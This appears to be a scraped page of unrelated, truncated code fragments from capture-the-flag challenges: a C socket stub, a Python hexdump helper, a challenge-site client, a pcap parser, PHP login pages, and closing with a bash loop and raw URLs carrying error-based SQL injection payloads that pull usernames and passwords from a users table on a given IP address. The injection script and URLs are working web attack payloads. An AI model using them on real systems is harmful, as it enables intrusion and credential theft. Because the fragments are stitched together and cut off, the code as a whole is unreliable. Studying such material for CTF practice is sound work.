boogy

// compile with: gcc -static -o sendfd sendfd.c
//./sendfd foobar /
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>

int send_fd(int sock, int fd){
    // This function does the arcane magic for sending
    // file descriptors over unix domain sockets

boogy

def hexdump( src, length=16, sep='.' ):
	'''
	@brief Return {src} in hex dump.
	@param[in] length	{Int} Nb Bytes by row.
	@param[in] sep		{Char} For the text part, {sep} will be used for non ASCII char.
	@return {Str} The hexdump

	@note Full support for python2 and python3 !
	'''
	result = [];

boogy

import urllib2
import threading

ROOT = 'http://aart.2015.ghostintheshellcode.com/'

def register(username, password):
    req = urllib2.Request(ROOT+'register.php', data='username=%s&password=%s' % (username, password))
    conn = urllib2.urlopen(req)

def login(username, password):

boogy

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from scapy.all import *
r = rdpcap("cloudfs.pcap")
l = len(r)
print l
D = []
for i in range(0, l):
    if ICMP in r[i]:
        print 'OK'

boogy

<?php echo($logged?"Here's your secret ".$flag."":"Login to access the secret")?>

boogy

<?php
        if(@$_SESSION['is_ExclusiveMember']){header("location: ".$LINK);die();}
        if(isset($_POST['user'])){
                if(@$_POST['user']===$uLOGIN && @$_POST['pass']===$uPASSWORD){
                        $_SESSION['is_ExclusiveMember']=1;
                        header("location: ".$LINK);
                        die();
                }else{
                        $Error=1;
                }

boogy

<?php
 if(@$_SESSION['user']){header("location: ".$LINK);die();}
 if(isset($_POST['user'])){
  if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3='".mysqli_real_escape_string($con,@$_POST['user'])."' AND P4sWW0rD_0F_M3_WTF='".mysqli_real_escape_string($con,@$_POST['pass'])."' "))>0){
   $_SESSION=$_POST;
   header("location: ".$LINK);die();
  }else{
   $Error=1;
  }
 }

boogy

#!/bin/bash
str='ZD456ddssd65456lksndoiNzd654sdsd'
while true
do
a=0;
echo "New string: $str"
        for i in {a..z}; do
        wget --quiet -O $i 'http://188.40.18.70/PROFILE/55%5C/||extractvalue%283,concat%280x3a,%28select%0Blocate("'$str$i'",P4sWW0rD_0F_M3_WTF)%0Bfrom%0Busers%0Blimit%0B1,1%29%29%29--%0B'
        if grep ":1" $i; then
                str=$str$i

boogy

http://188.40.18.70/PROFILE/55%5C/||extractvalue%283,concat%280x7e,%28select%09concat_ws%280x3a,Us3rN4m3,P4sWW0rD_0F_M3_WTF%29%09from%09users%09limit%091,1%29%29%29--%09

boogy

http://188.40.18.70/PROFILE/55%5C/||extractvalue%28null,concat%280x3a,%28select%09*%09from%28select%09*%09from%09users%09as%09a%09join%09users%09as%09b%09using%28id_user,Us3rN4m3,Em4iL4dR3Szz,S4cR3dT3xT0Fm3,MyPh0N3NumB3RHAHA,Addr3Zz0F_tHi5_D3wD,CHAR_LOL%29%29as%09x%29%29%29--%0B